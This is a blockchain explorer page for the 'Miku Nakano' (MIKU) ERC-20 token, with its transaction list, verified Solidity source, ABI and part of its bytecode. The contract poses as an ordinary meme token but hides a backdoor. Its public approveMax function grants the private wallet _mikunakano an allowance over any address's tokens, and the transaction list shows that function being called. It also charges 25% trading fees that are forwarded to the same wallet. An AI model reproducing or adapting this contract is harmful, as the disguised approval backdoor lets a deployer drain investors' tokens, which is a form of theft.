Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 40 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve Max | 19828846 | 229 days ago | IN | 0 ETH | 0.00018934 | ||||
Approve | 19827966 | 229 days ago | IN | 0 ETH | 0.00019201 | ||||
Transfer | 19827954 | 229 days ago | IN | 0 ETH | 0.00024206 | ||||
Approve | 19827922 | 229 days ago | IN | 0 ETH | 0.00019489 | ||||
Approve | 19827922 | 229 days ago | IN | 0 ETH | 0.00024098 | ||||
Approve | 19827911 | 229 days ago | IN | 0 ETH | 0.00019747 | ||||
Approve | 19827876 | 229 days ago | IN | 0 ETH | 0.00025667 | ||||
Approve | 19827875 | 229 days ago | IN | 0 ETH | 0.00026019 | ||||
Approve | 19827871 | 229 days ago | IN | 0 ETH | 0.00032025 | ||||
Approve | 19827871 | 229 days ago | IN | 0 ETH | 0.00032025 | ||||
Approve | 19827871 | 229 days ago | IN | 0 ETH | 0.00032025 | ||||
Approve | 19827871 | 229 days ago | IN | 0 ETH | 0.00032025 | ||||
Approve | 19827871 | 229 days ago | IN | 0 ETH | 0.00032025 | ||||
Approve | 19827868 | 229 days ago | IN | 0 ETH | 0.00035162 | ||||
Renounce Ownersh... | 19827867 | 229 days ago | IN | 0 ETH | 0.00009728 | ||||
Approve | 19827866 | 229 days ago | IN | 0 ETH | 0.00035714 | ||||
Approve | 19827864 | 229 days ago | IN | 0 ETH | 0.00035033 | ||||
Remove Limits | 19827863 | 229 days ago | IN | 0 ETH | 0.0001326 | ||||
Approve | 19827860 | 229 days ago | IN | 0 ETH | 0.00034315 | ||||
Approve | 19827853 | 229 days ago | IN | 0 ETH | 0.00045479 | ||||
Approve | 19827844 | 229 days ago | IN | 0 ETH | 0.00028108 | ||||
Approve | 19827844 | 229 days ago | IN | 0 ETH | 0.00028108 | ||||
Approve | 19827844 | 229 days ago | IN | 0 ETH | 0.00031292 | ||||
Approve | 19827844 | 229 days ago | IN | 0 ETH | 0.00031292 | ||||
Approve | 19827844 | 229 days ago | IN | 0 ETH | 0.00031292 |
Latest 17 internal transactions
Advanced mode:
Parent Transaction Hash | Block |
From
|
To
|
|||
---|---|---|---|---|---|---|
19827889 | 229 days ago | 0.00947417 ETH | ||||
19827889 | 229 days ago | 0.00947417 ETH | ||||
19827884 | 229 days ago | 0.04875445 ETH | ||||
19827884 | 229 days ago | 0.04875445 ETH | ||||
19827880 | 229 days ago | 0.04757786 ETH | ||||
19827880 | 229 days ago | 0.04757786 ETH | ||||
19827880 | 229 days ago | 0.0518297 ETH | ||||
19827880 | 229 days ago | 0.0518297 ETH | ||||
19827874 | 229 days ago | 0.05468038 ETH | ||||
19827874 | 229 days ago | 0.05468038 ETH | ||||
19827859 | 229 days ago | 0.0411248 ETH | ||||
19827859 | 229 days ago | 0.0411248 ETH | ||||
19827859 | 229 days ago | 0.04432781 ETH | ||||
19827859 | 229 days ago | 0.04432781 ETH | ||||
19827853 | 229 days ago | 0.04043248 ETH | ||||
19827853 | 229 days ago | 0.04043248 ETH | ||||
19827836 | 229 days ago | 2 ETH |
Loading...
Loading
Contract Name:
MIKU
Compiler Version
v0.8.22+commit.4fc1097e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-05-08 */ /* Website: https://mikunakano.vip Twitter: https://twitter.com/mikunakanoerc Telegram: https://t.me/mikunakanoerc */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.17; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint256); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {} } contract MIKU is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public uniswapV2Pair; bool private swapping; address private _mikunakano; uint256 public maxTxAmount; uint256 public swapThresAmount; uint256 public maxWalletAmount; uint256 public maxSwapAmount; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapActive = false; uint256 private _feesBuy; uint256 private _feesSell; mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedMaxTxAmount; mapping(address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity); constructor(address _wallet) ERC20("Miku Nakano", "MIKU") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTx(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); excludeFromMaxTx(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 totalSupply = 1000000000 * 1e18; _mikunakano = _wallet; maxTxAmount = totalSupply * 200 / 10000; maxWalletAmount = totalSupply * 200 / 10000; swapThresAmount = totalSupply / 1000; maxSwapAmount = totalSupply * 90 / 10000; excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromFees(_mikunakano, true); excludeFromMaxTx(owner(), true); excludeFromMaxTx(address(this), true); excludeFromMaxTx(address(0xdead), true); excludeFromMaxTx(_mikunakano, true); _mint(msg.sender, totalSupply); } receive() external payable {} function excludeFromMaxTx(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTxAmount[updAds] = isEx; } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function approveMax(address spender, uint256 amount) external { _approve(spender, _mikunakano, amount); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) { if (!tradingActive) { require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTxAmount[to]) { require(amount <= maxTxAmount, "Buy transfer amount exceeds the maxTxAmount."); require(amount + balanceOf(to) <= maxWalletAmount, "Max wallet exceeded"); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTxAmount[from]) { require(amount <= maxTxAmount, "Sell transfer amount exceeds the maxTxAmount."); } else if (!_isExcludedMaxTxAmount[to]) { require(amount + balanceOf(to) <= maxWalletAmount, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapThresAmount; if ( swapActive && !swapping && automatedMarketMakerPairs[to] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; if (canSwap) swapBack(); payable(_mikunakano).transfer(address(this).balance); swapping = false; } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if (takeFee) { // on sell if (automatedMarketMakerPairs[to] && _feesSell > 0) { fees = amount.mul(_feesSell).div(100); } // on buy else if (automatedMarketMakerPairs[from] && _feesBuy > 0) { fees = amount.mul(_feesBuy).div(100); } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); if (contractBalance == 0) { return; } if (contractBalance > maxSwapAmount) { contractBalance = maxSwapAmount; } // Halve the amount of liquidity tokens uint256 amountToSwapForETH = contractBalance; swapTokensForEth(amountToSwapForETH); } function openMiku() external onlyOwner { _approve(address(this), address(uniswapV2Router), totalSupply()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); tradingActive = true; swapActive = true; _feesBuy = 25; _feesSell = 25; } function removeFees() external onlyOwner { _feesBuy = 0; _feesSell = 0; } function removeLimits() external onlyOwner { limitsInEffect = false; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"_wallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTxAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approveMax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openMiku","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThresAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a0604052600c805462ffffff191660011790553480156200001f575f80fd5b50604051620024f2380380620024f283398101604081905262000042916200067d565b6040518060400160405280600b81526020016a4d696b75204e616b616e6f60a81b815250604051806040016040528060048152602001634d494b5560e01b815250816003908162000094919062000749565b506004620000a3828262000749565b505050620000c0620000ba620003ce60201b60201c565b620003d2565b737a250d5630b4cf539739df2c5dacb4c659f2488d620000e281600162000423565b6001600160a01b03811660808190526040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156200012b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200015191906200067d565b6001600160a01b031663c9c65396306080516001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200019f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001c591906200067d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000210573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200023691906200067d565b600680546001600160a01b0319166001600160a01b039290921691821790556200026290600162000423565b6006546200027b906001600160a01b031660016200049b565b600780546001600160a01b0319166001600160a01b0384161790556b033b2e3c9fd0803ce8000000612710620002b38260c862000829565b620002bf919062000849565b600855612710620002d28260c862000829565b620002de919062000849565b600a55620002ef6103e88262000849565b6009556127106200030282605a62000829565b6200030e919062000849565b600b5562000330620003286005546001600160a01b031690565b6001620004ee565b6200033d306001620004ee565b6200034c61dead6001620004ee565b60075462000365906001600160a01b03166001620004ee565b620003846200037c6005546001600160a01b031690565b600162000423565b6200039130600162000423565b620003a061dead600162000423565b600754620003b9906001600160a01b0316600162000423565b620003c5338262000596565b5050506200087f565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6005546001600160a01b03163314620004715760405162461bcd60e51b815260206004820181905260248201525f80516020620024d283398151915260448201526064015b60405180910390fd5b6001600160a01b03919091165f908152601060205260409020805460ff1916911515919091179055565b6001600160a01b0382165f81815260116020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6005546001600160a01b03163314620005385760405162461bcd60e51b815260206004820181905260248201525f80516020620024d2833981519152604482015260640162000468565b6001600160a01b0382165f818152600f6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b038216620005ee5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640162000468565b8060025f82825462000601919062000869565b90915550506001600160a01b0382165f90815260208190526040812080548392906200062f90849062000869565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b5f602082840312156200068e575f80fd5b81516001600160a01b0381168114620006a5575f80fd5b9392505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620006d557607f821691505b602082108103620006f457634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200067857805f5260205f20601f840160051c81016020851015620007215750805b601f840160051c820191505b8181101562000742575f81556001016200072d565b5050505050565b81516001600160401b03811115620007655762000765620006ac565b6200077d81620007768454620006c0565b84620006fa565b602080601f831160018114620007b3575f84156200079b5750858301515b5f19600386901b1c1916600185901b1785556200080d565b5f85815260208120601f198616915b82811015620007e357888601518255948401946001909101908401620007c2565b50858210156200080157878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141762000843576200084362000815565b92915050565b5f826200086457634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111562000843576200084362000815565b608051611c10620008c25f395f8181610253015281816108350152818161085f01528181610967015281816116db0152818161179201526117ce0152611c105ff3fe6080604052600436106101de575f3560e01c8063967629c2116100fd578063c0bbc86811610092578063d744b1e311610062578063d744b1e314610571578063dd62ed3e14610586578063f2fde38b146105ca578063f6b20c3b146105e9575f80fd5b8063c0bbc868146104ff578063cce987d41461051e578063d4c989d314610533578063d6dacb4414610552575f80fd5b8063aa4bde28116100cd578063aa4bde281461047f578063b62496f514610494578063bbc0c742146104c2578063c0246668146104e0575f80fd5b8063967629c21461040e5780639a7a23d614610422578063a457c2d714610441578063a9059cbb14610460575f80fd5b80634a62bb6511610173578063751039fc11610143578063751039fc146103b45780638c0b5e22146103c85780638da5cb5b146103dd57806395d89b41146103fa575f80fd5b80634a62bb6514610323578063563912bd1461033c57806370a082311461036a578063715018a61461039e575f80fd5b806323b872dd116101ae57806323b872dd146102ab578063313ce567146102ca57806339509351146102e557806349bd5a5e14610304575f80fd5b806306fdde03146101e9578063095ea7b3146102135780631694505e1461024257806318160ddd1461028d575f80fd5b366101e557005b5f80fd5b3480156101f4575f80fd5b506101fd6105fd565b60405161020a919061183c565b60405180910390f35b34801561021e575f80fd5b5061023261022d36600461189c565b61068d565b604051901515815260200161020a565b34801561024d575f80fd5b506102757f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200161020a565b348015610298575f80fd5b506002545b60405190815260200161020a565b3480156102b6575f80fd5b506102326102c53660046118c6565b6106a3565b3480156102d5575f80fd5b506040516012815260200161020a565b3480156102f0575f80fd5b506102326102ff36600461189c565b610750565b34801561030f575f80fd5b50600654610275906001600160a01b031681565b34801561032e575f80fd5b50600c546102329060ff1681565b348015610347575f80fd5b50610232610356366004611904565b60106020525f908152604090205460ff1681565b348015610375575f80fd5b5061029d610384366004611904565b6001600160a01b03165f9081526020819052604090205490565b3480156103a9575f80fd5b506103b261078b565b005b3480156103bf575f80fd5b506103b26107c0565b3480156103d3575f80fd5b5061029d60085481565b3480156103e8575f80fd5b506005546001600160a01b0316610275565b348015610405575f80fd5b506101fd6107f6565b348015610419575f80fd5b506103b2610805565b34801561042d575f80fd5b506103b261043c36600461192c565b610a00565b34801561044c575f80fd5b5061023261045b36600461189c565b610abc565b34801561046b575f80fd5b5061023261047a36600461189c565b610b54565b34801561048a575f80fd5b5061029d600a5481565b34801561049f575f80fd5b506102326104ae366004611904565b60116020525f908152604090205460ff1681565b3480156104cd575f80fd5b50600c5461023290610100900460ff1681565b3480156104eb575f80fd5b506103b26104fa36600461192c565b610b60565b34801561050a575f80fd5b506103b261051936600461189c565b610be8565b348015610529575f80fd5b5061029d600b5481565b34801561053e575f80fd5b506103b261054d36600461192c565b610c00565b34801561055d575f80fd5b50600c546102329062010000900460ff1681565b34801561057c575f80fd5b5061029d60095481565b348015610591575f80fd5b5061029d6105a0366004611963565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b3480156105d5575f80fd5b506103b26105e4366004611904565b610c54565b3480156105f4575f80fd5b506103b2610cef565b60606003805461060c9061198f565b80601f01602080910402602001604051908101604052809291908181526020018280546106389061198f565b80156106835780601f1061065a57610100808354040283529160200191610683565b820191905f5260205f20905b81548152906001019060200180831161066657829003601f168201915b5050505050905090565b5f610699338484610d24565b5060015b92915050565b5f6106af848484610e47565b6001600160a01b0384165f908152600160209081526040808320338452909152902054828110156107385760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064